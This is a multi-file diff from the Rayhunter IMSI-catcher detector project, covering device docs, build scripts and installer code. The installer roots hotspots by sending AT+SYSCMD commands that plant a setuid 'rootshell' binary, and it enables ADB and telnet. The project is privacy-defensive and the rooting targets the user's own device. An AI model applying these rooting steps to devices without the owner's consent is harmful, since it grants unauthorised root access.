5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
* On macOS if you encounter an error that says "No Orbic device found," it may because you the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
|
||||
* On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
|
||||
|
||||
./installer --help
|
||||
./installer util --help
|
||||
|
||||
@@ -35,9 +35,9 @@ rustup target add x86_64-pc-windows-gnu
|
||||
Now you can root your device and install Rayhunter by running:
|
||||
|
||||
```sh
|
||||
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features orbic
|
||||
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features orbic
|
||||
|
||||
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
|
||||
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
|
||||
|
||||
cargo run --bin installer orbic
|
||||
```
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||

|
||||
|
||||
# Rayhunter
|
||||
|
||||
<img style="display: block; margin: 0 auto" alt="Rayhunter Logo - An Orca taking a bite out of a cellular signal bar" src="https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png" />
|
||||
|
||||
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
|
||||
|
||||
It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
|
||||
|
||||
@@ -18,3 +18,9 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
|
||||
| Wifi 2.4Ghz | b/g/n |
|
||||
| Wifi 5Ghz | a/ac/ax |
|
||||
| Wifi 6 | 🮱 |
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
After running through the installation procedure, you can obtain a root shell
|
||||
by running `adb shell` or `./installer util shell`. Then, inside of that shell
|
||||
you can run `/bin/rootshell` to obtain "fakeroot."
|
||||
|
||||
@@ -6,3 +6,4 @@ If you have a device in mind which you'd like Rayhunter to support, please [open
|
||||
|
||||
- [Orbic RC400L](./orbic.md)
|
||||
- [TP-Link M7350](./tplink-m7350.md)
|
||||
- [TP-Link M7310](./tplink-m7310.md)
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
# TP-Link M7310
|
||||
|
||||
The TP-Link M7310 is **supported by Rayhunter since 0.3.5**. The device
|
||||
works similarly to the [M7350](./tplink-m7350.md) and is essentially an older,
|
||||
more expensive version of it. Hardware version v1.0 has been successfully
|
||||
tested, later versions may work as well.
|
||||
@@ -1,18 +1,36 @@
|
||||
# TP-Link M7350
|
||||
|
||||
The TP-Link M7350 is supported by Rayhunter as of 0.2.9. It supports many more frequency bands than Orbic and therefore works in Europe.
|
||||
The TP-Link M7350 is **supported by Rayhunter since 0.3.0**. TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
|
||||
|
||||
You can get it from:
|
||||
## Hardware versions
|
||||
|
||||
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there.
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
|
||||
* `1.0`, `2.0`: **Not supported**, devs are not able to obtain a device
|
||||
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.**
|
||||
* `6.2`: **One user reported it is working, not tested**
|
||||
* `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332))
|
||||
* `9.0`: **Working since 0.3.2.**
|
||||
|
||||
TP-Link versions newer than `3.0` have cyan packaging and a color display. Version `3.0` has a one-bit display and white packaging.
|
||||
|
||||
You can find the exact hardware version of each device under the battery or next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
|
||||
|
||||
When filing bug reports, particularly with the installer, please always specify the exact hardware version.
|
||||
|
||||
You can get your TP-Link M7350 from:
|
||||
|
||||
* First check for used offers on local sites, sometimes it's much cheaper there.
|
||||
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
|
||||
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
|
||||
|
||||
## Installation & Usage
|
||||
|
||||
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
|
||||
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The Rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
|
||||
|
||||
Unlike on Orbic, the installer will not enable ADB. Instead, you can do this to obtain a root shell:
|
||||
## Obtaining a shell
|
||||
|
||||
Unlike on Orbic, the installer will not enable ADB. Instead, you can obtain a root shell with the following command:
|
||||
|
||||
```sh
|
||||
./installer util tplink-start-telnet
|
||||
@@ -21,34 +39,28 @@ telnet 192.168.0.1
|
||||
|
||||
## Display states
|
||||
|
||||
If your device has a color display, Rayhunter will show the same
|
||||
red/green/white line at the top of the display as it does on Orbic, each color
|
||||
meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
|
||||
If your device has a color display, Rayhunter will show the same red/green/white line at the top of the display as it does on Orbic, each color meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
|
||||
|
||||
If your device has a one-bit (black-and-white) display, Rayhunter will instead
|
||||
show an emoji to indicate status:
|
||||
If your device has a one-bit (black-and-white) display, Rayhunter will instead show an emoji to indicate status:
|
||||
|
||||
* `!` means "warning (potential IMSI catcher)"
|
||||
* `:)` (smiling) means "recording"
|
||||
* `:` (face with no mouth) means "paused"
|
||||
|
||||
## Hardware versions
|
||||
## Power-saving mode/sleep
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers.
|
||||
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connectd on the TP-Link's WiFi.
|
||||
|
||||
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
|
||||
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
|
||||
* `9.0`: Recording might be broken, could be fixed if there is demand.
|
||||
## Port triggers
|
||||
|
||||
TP-Link versions newer than `3.0` have cyan packaging and a color display.
|
||||
Version `3.0` has a one-bit display and white packaging.
|
||||
On hardware revisions starting with v4.0, the installer will modify settings to
|
||||
add two port triggers. You can look at `Settings > NAT Settings > Port
|
||||
Triggers` in TP-Link's admin UI to see them.
|
||||
|
||||
You can find the exact hardware version of each device under the battery or
|
||||
next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
|
||||
|
||||
When filing bug reports, particularly with the installer, please always
|
||||
specify the exact hardware version.
|
||||
1. One port trigger "rayhunter-root" to launch the telnet shell. This is only needed for installation, and can be removed after upgrade. You can reinstall it using `./installer util tplink-start-telnet`.
|
||||
2. One port trigger "rayhunter-daemon" to auto-start rayhunter on boot. If you remove this, rayhunter will have to be started manually from shell.
|
||||
|
||||
## Other links
|
||||
|
||||
For more information on the device and instructions on how to install Rayhunter without an installer, see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
|
||||
For more information on the device and instructions on how to install Rayhunter without an installer (i.e. manually), please see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
|
||||
|
||||
@@ -16,4 +16,9 @@ Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabl
|
||||
|
||||
## TPLink
|
||||
|
||||
TODO
|
||||
1. Run `./installer util tplink-start-telnet`
|
||||
2. Telnet into the device `telnet 192.168.0.1`
|
||||
3. `rm /data/rayhunter /etc/init.d/rayhunter_daemon`
|
||||
4. `update-rc.d rayhunter_daemon remove`
|
||||
5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers.
|
||||
|
||||
|
||||
@@ -1,20 +1,33 @@
|
||||
# Using Rayhunter
|
||||
|
||||
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
|
||||
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](./faq.md#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
|
||||
|
||||

|
||||
|
||||
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, delete captures, and view heuristic analyses of captures.
|
||||
|
||||
## The web UI
|
||||
|
||||
You can access this UI in one of two ways:
|
||||
|
||||
* **Connect over wifi:** Connect your phone/laptop to your device's wifi
|
||||
* **Connect over WiFi:** Connect your phone/laptop to your device's WiFi
|
||||
network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic)
|
||||
or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink).
|
||||
|
||||
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
|
||||
|
||||
On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||
* **Connect over USB (orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
|
||||
On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||
On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.
|
||||
|
||||
* **Connect over USB (Orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
|
||||
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
||||
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
||||
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
|
||||
* **Connect over USB (tplink):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
|
||||
* On MacOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
|
||||
|
||||
* **Connect over USB (TP-Link):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
|
||||
|
||||
## Key shortcuts
|
||||
|
||||
As of 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well.
|
||||
|
||||
**This feature is disabled by default since 0.4.0** and needs to be enabled through [configuration](./configuration.md).
|
||||
|
||||
|
After Width: | Height: | Size: 61 KiB |
|
After Width: | Height: | Size: 69 KiB |
|
After Width: | Height: | Size: 62 KiB |
@@ -1,10 +1,11 @@
|
||||
#!/bin/bash -e
|
||||
pushd bin/web
|
||||
cd bin/web
|
||||
npm run build
|
||||
popd
|
||||
#docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
|
||||
docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv sh -c 'cargo build --release --target="armv7-unknown-linux-gnueabihf"'
|
||||
cd ..
|
||||
docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
|
||||
echo ' build!'
|
||||
docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv sh -c 'cargo build --release --target="armv7-unknown-linux-musleabihf"'
|
||||
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
||||
adb push target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
||||
adb push target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
||||
echo "rebooting the device..."
|
||||
adb shell '/bin/rootshell -c "reboot"'
|
||||
|
||||
@@ -1,13 +1,17 @@
|
||||
[package]
|
||||
name = "installer"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
aes = "0.8.4"
|
||||
anyhow = "1.0.98"
|
||||
axum = "0.8.3"
|
||||
base64_light = "0.1.5"
|
||||
block-padding = "0.3.3"
|
||||
bytes = "1.10.1"
|
||||
clap = { version = "4.5.37", features = ["derive"] }
|
||||
env_logger = "0.11.8"
|
||||
hyper = "1.6.0"
|
||||
hyper-util = "0.1.11"
|
||||
md5 = "0.7.0"
|
||||
@@ -20,13 +24,13 @@ tokio-retry2 = "0.5.7"
|
||||
tokio-stream = "0.1.17"
|
||||
|
||||
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
|
||||
git = "https://github.com/gaykitty/adb_client.git"
|
||||
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||
git = "https://github.com/EFForg/adb_client.git"
|
||||
rev = "e511662394e4fa32865c154c40f81a3d846f700c"
|
||||
default-features = false
|
||||
features = ["trans-nusb"]
|
||||
|
||||
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
|
||||
git = "https://github.com/gaykitty/adb_client.git"
|
||||
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||
git = "https://github.com/EFForg/adb_client.git"
|
||||
rev = "e511662394e4fa32865c154c40f81a3d846f700c"
|
||||
default-features = false
|
||||
features = ["trans-libusb"]
|
||||
|
||||
@@ -6,19 +6,24 @@ fn main() {
|
||||
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
|
||||
let include_dir = Path::new(concat!(
|
||||
env!("CARGO_MANIFEST_DIR"),
|
||||
"/../target/armv7-unknown-linux-musleabihf/release/"
|
||||
"/../target/armv7-unknown-linux-musleabihf/firmware/"
|
||||
));
|
||||
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
|
||||
set_binary_var(include_dir, "FILE_ROOTSHELL", "rootshell");
|
||||
set_binary_var(
|
||||
&include_dir,
|
||||
include_dir,
|
||||
"FILE_RAYHUNTER_DAEMON_ORBIC",
|
||||
"rayhunter-daemon",
|
||||
);
|
||||
set_binary_var(
|
||||
&include_dir,
|
||||
include_dir,
|
||||
"FILE_RAYHUNTER_DAEMON_TPLINK",
|
||||
"rayhunter-daemon",
|
||||
);
|
||||
set_binary_var(
|
||||
include_dir,
|
||||
"FILE_RAYHUNTER_DAEMON_WINGTECH",
|
||||
"rayhunter-daemon",
|
||||
);
|
||||
}
|
||||
|
||||
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
||||
@@ -26,7 +31,7 @@ fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
||||
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||
std::fs::create_dir_all(&out_dir).unwrap();
|
||||
let blank = Path::new(&out_dir).join("blank");
|
||||
std::fs::write(&blank, &[]).unwrap();
|
||||
std::fs::write(&blank, []).unwrap();
|
||||
println!("cargo::rustc-env={var}={}", blank.display());
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
$global:adb = ".\platform-tools-latest-windows\platform-tools\adb.exe"
|
||||
$global:serial = ".\installer-windows-x86_64\installer.exe"
|
||||
|
||||
function _adb_push {
|
||||
& $global:adb -d push @args *> $null
|
||||
$exitCode = $LASTEXITCODE
|
||||
return $exitCode
|
||||
}
|
||||
|
||||
function _adb_shell {
|
||||
& $global:adb -d shell @args *> $null
|
||||
$exitCode = $LASTEXITCODE
|
||||
return $exitCode
|
||||
}
|
||||
|
||||
function _wait_for_adb_shell {
|
||||
do {
|
||||
start-sleep -seconds 1
|
||||
$success = _adb_shell "uname -a"
|
||||
} until ($success -eq 0)
|
||||
}
|
||||
|
||||
function _wait_for_atfwd_daemon {
|
||||
do {
|
||||
start-sleep -seconds 1
|
||||
$success = _adb_shell "pgrep atfwd_daemon"
|
||||
} until ($success -eq 0)
|
||||
}
|
||||
|
||||
function force_debug_mode {
|
||||
write-host "Using adb at $($global:adb)"
|
||||
write-host "Forcing a switch into debug mode to enable ADB"
|
||||
_serial "--root" | Out-Host
|
||||
write-host "adb enabled, waiting for reboot..." -nonewline
|
||||
_wait_for_adb_shell
|
||||
write-host " it's alive!"
|
||||
write-host "waiting for atfwd_daemon to start ..." -nonewline
|
||||
_wait_for_atfwd_daemon
|
||||
write-host " done!"
|
||||
}
|
||||
function _serial {
|
||||
param (
|
||||
[Parameter(Mandatory = $false, ValueFromRemainingArguments = $true)]
|
||||
[string[]]$Args
|
||||
)
|
||||
|
||||
# Build the full argument list
|
||||
$allArgs = @("util", "serial") + $Args
|
||||
|
||||
# Call the serial executable
|
||||
& $global:serial @allArgs
|
||||
}
|
||||
|
||||
function setup_rootshell {
|
||||
write-host "setting up rootshell"
|
||||
_adb_push "rootshell" "/tmp" | Out-null
|
||||
write-host "cp..."
|
||||
_serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host
|
||||
start-sleep -seconds 1
|
||||
write-host "chown..."
|
||||
_serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host
|
||||
start-sleep -seconds 1
|
||||
write-host "chmod..."
|
||||
_serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
|
||||
start-sleep -seconds 1
|
||||
_adb_shell '/bin/rootshell -c id' | Out-null
|
||||
write-host "we have root!"
|
||||
}
|
||||
|
||||
function setup_rayhunter {
|
||||
write-host "installing rayhunter..."
|
||||
_serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
|
||||
_adb_push "config.toml.example" "/tmp/config.toml" | Out-Null
|
||||
_serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
|
||||
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon" | Out-Null
|
||||
_serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
|
||||
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon" | Out-Null
|
||||
_serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
|
||||
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon" | Out-Null
|
||||
_serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
|
||||
|
||||
_serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
|
||||
_serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
|
||||
_serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
|
||||
|
||||
write-host "waiting for reboot..."
|
||||
_serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
|
||||
do {
|
||||
start-sleep -seconds 1
|
||||
} until ((_adb_shell "true 2> /dev/null") -ne 0)
|
||||
|
||||
_wait_for_adb_shell
|
||||
write-host "done!"
|
||||
}
|
||||
|
||||
function test_rayhunter {
|
||||
$URL = "http://localhost:8080/index.html"
|
||||
& $global:adb -d forward tcp:8080 tcp:8080
|
||||
$exitCode = $LASTEXITCODE
|
||||
if ($exitCode -ne 0) {
|
||||
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($exitCode)"
|
||||
return
|
||||
}
|
||||
write-host "checking for rayhunter server..." -nonewline
|
||||
$seconds = 0
|
||||
do {
|
||||
try {
|
||||
$resp = invoke-webrequest -uri $URL
|
||||
} catch {
|
||||
# Fail silently
|
||||
$resp = $null
|
||||
}
|
||||
if ($resp.statuscode -eq 200) {
|
||||
write-host "success!"
|
||||
write-host "you can access rayhunter at $($URL)"
|
||||
return
|
||||
}
|
||||
start-sleep 1
|
||||
$seconds = $seconds + 1
|
||||
} until ($seconds -eq 30)
|
||||
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
|
||||
}
|
||||
|
||||
function get_android_tools {
|
||||
write-host "adb not found, downloading local copy"
|
||||
invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
|
||||
expand-archive -force -path "platform-tools-latest-windows.zip"
|
||||
}
|
||||
|
||||
if (-not (test-path -path $global:serial)) {
|
||||
write-error "can't find serial, aborting"
|
||||
return
|
||||
}
|
||||
|
||||
if (-not (test-path -path $global:adb)) {
|
||||
get_android_tools
|
||||
}
|
||||
|
||||
force_debug_mode
|
||||
setup_rootshell
|
||||
setup_rayhunter
|
||||
test_rayhunter
|
||||
@@ -1,8 +1,11 @@
|
||||
use anyhow::{Context, Error, bail};
|
||||
use clap::{Parser, Subcommand};
|
||||
use env_logger::Env;
|
||||
|
||||
mod orbic;
|
||||
mod tplink;
|
||||
mod util;
|
||||
mod wingtech;
|
||||
|
||||
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
|
||||
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
|
||||
@@ -20,6 +23,8 @@ enum Command {
|
||||
Orbic(InstallOrbic),
|
||||
/// Install rayhunter on the TP-Link M7350.
|
||||
Tplink(InstallTpLink),
|
||||
/// Install rayhunter on the Wingtech CT2MHS01.
|
||||
Wingtech(WingtechArgs),
|
||||
/// Developer utilities.
|
||||
Util(Util),
|
||||
}
|
||||
@@ -34,6 +39,17 @@ struct InstallTpLink {
|
||||
/// IP address for TP-Link admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.0.1")]
|
||||
admin_ip: String,
|
||||
|
||||
/// For advanced users: Specify the path of the SD card to be mounted explicitly.
|
||||
///
|
||||
/// The default (empty string) is to use whichever sdcard path the device would use natively to
|
||||
/// mount storage on. On most TP-Link this is /media/card, but on hardware versions 9+ this is
|
||||
/// /media/sdcard
|
||||
///
|
||||
/// Only override this when the installer does not work on your hardware version, as otherwise
|
||||
/// your custom path may conflict with the builtin storage functionality.
|
||||
#[arg(long, default_value = "")]
|
||||
sdcard_path: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
@@ -49,8 +65,14 @@ struct Util {
|
||||
enum UtilSubCommand {
|
||||
/// Send a serial command to the Orbic.
|
||||
Serial(Serial),
|
||||
/// Start an ADB shell
|
||||
Shell(Shell),
|
||||
/// Root the tplink and launch telnetd.
|
||||
TplinkStartTelnet(TplinkStartTelnet),
|
||||
/// Root the Wingtech and launch telnetd.
|
||||
WingtechStartTelnet(WingtechArgs),
|
||||
/// Root the Wingtech and launch adb.
|
||||
WingtechStartAdb(WingtechArgs),
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
@@ -60,6 +82,17 @@ struct TplinkStartTelnet {
|
||||
admin_ip: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct WingtechArgs {
|
||||
/// IP address for Wingtech admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.1.1")]
|
||||
admin_ip: String,
|
||||
|
||||
/// Web portal admin password.
|
||||
#[arg(long)]
|
||||
admin_password: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct Serial {
|
||||
#[arg(long)]
|
||||
@@ -67,12 +100,17 @@ struct Serial {
|
||||
command: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct Shell {}
|
||||
|
||||
async fn run() -> Result<(), Error> {
|
||||
env_logger::Builder::from_env(Env::default().default_filter_or("off")).init();
|
||||
let Args { command } = Args::parse();
|
||||
|
||||
match command {
|
||||
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
|
||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||
Command::Util(subcommand) => match subcommand.command {
|
||||
UtilSubCommand::Serial(serial_cmd) => {
|
||||
if serial_cmd.root {
|
||||
@@ -92,9 +130,12 @@ async fn run() -> Result<(), Error> {
|
||||
}
|
||||
}
|
||||
}
|
||||
UtilSubCommand::Shell(_) => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
|
||||
UtilSubCommand::TplinkStartTelnet(options) => {
|
||||
tplink::start_telnet(&options.admin_ip).await?;
|
||||
}
|
||||
UtilSubCommand::WingtechStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Wingtech CT2MHS01")?,
|
||||
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@ use nusb::{Device, Interface};
|
||||
use sha2::{Digest, Sha256};
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::util::echo;
|
||||
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||
|
||||
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
|
||||
@@ -22,31 +23,31 @@ const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another
|
||||
Please close any program that might be using your USB devices.
|
||||
If you have adb installed you may need to kill the adb daemon"#;
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
#[cfg(any(target_os = "macos", target_os = "windows"))]
|
||||
const ORBIC_BUSY_MAC: &str = r#"Permission denied.
|
||||
|
||||
On macOS this might be caused by another program using the Orbic.
|
||||
On macOS or windows this might be caused by another program using the Orbic.
|
||||
Please close any program that might be using your Orbic.
|
||||
If you have adb installed you may need to kill the adb daemon"#;
|
||||
|
||||
const VENDOR_ID: u16 = 0x05c6;
|
||||
const PRODUCT_ID: u16 = 0xf601;
|
||||
|
||||
macro_rules! echo {
|
||||
($($arg:tt)*) => {
|
||||
print!($($arg)*);
|
||||
let _ = std::io::stdout().flush();
|
||||
};
|
||||
}
|
||||
const INTERFACE: u8 = 1;
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
const RNDIS_INTERFACE: u8 = 0;
|
||||
|
||||
#[cfg(not(target_os = "windows"))]
|
||||
const RNDIS_INTERFACE: u8 = 1;
|
||||
|
||||
pub async fn install() -> Result<()> {
|
||||
let mut adb_device = force_debug_mode().await?;
|
||||
let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?;
|
||||
echo!("Installing rootshell... ");
|
||||
setup_rootshell(&serial_interface, &mut adb_device).await?;
|
||||
setup_rootshell(&mut adb_device).await?;
|
||||
println!("done");
|
||||
echo!("Installing rayhunter... ");
|
||||
let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?;
|
||||
let mut adb_device = setup_rayhunter(adb_device).await?;
|
||||
println!("done");
|
||||
echo!("Testing rayhunter... ");
|
||||
test_rayhunter(&mut adb_device).await?;
|
||||
@@ -54,11 +55,19 @@ pub async fn install() -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn shell() -> Result<()> {
|
||||
println!("opening shell");
|
||||
let mut adb_device = get_adb().await?;
|
||||
adb_device.shell(&mut std::io::stdin(), Box::new(std::io::stdout()))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn force_debug_mode() -> Result<ADBUSBDevice> {
|
||||
println!("Forcing a switch into the debug mode to enable ADB");
|
||||
enable_command_mode()?;
|
||||
echo!("ADB enabled, waiting for reboot... ");
|
||||
let mut adb_device = get_adb().await?;
|
||||
adb_setup_serial(&mut adb_device).await?;
|
||||
println!("it's alive!");
|
||||
echo!("Waiting for atfwd_daemon to startup... ");
|
||||
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
|
||||
@@ -66,23 +75,14 @@ async fn force_debug_mode() -> Result<ADBUSBDevice> {
|
||||
Ok(adb_device)
|
||||
}
|
||||
|
||||
async fn setup_rootshell(
|
||||
serial_interface: &Interface,
|
||||
adb_device: &mut ADBUSBDevice,
|
||||
) -> Result<()> {
|
||||
async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
|
||||
|
||||
install_file(
|
||||
serial_interface,
|
||||
adb_device,
|
||||
"/bin/rootshell",
|
||||
rootshell_bin,
|
||||
)
|
||||
.await?;
|
||||
install_file(adb_device, "/bin/rootshell", rootshell_bin).await?;
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
at_syscmd(serial_interface, "chown root /bin/rootshell").await?;
|
||||
adb_at_syscmd(adb_device, "chown root /bin/rootshell").await?;
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?;
|
||||
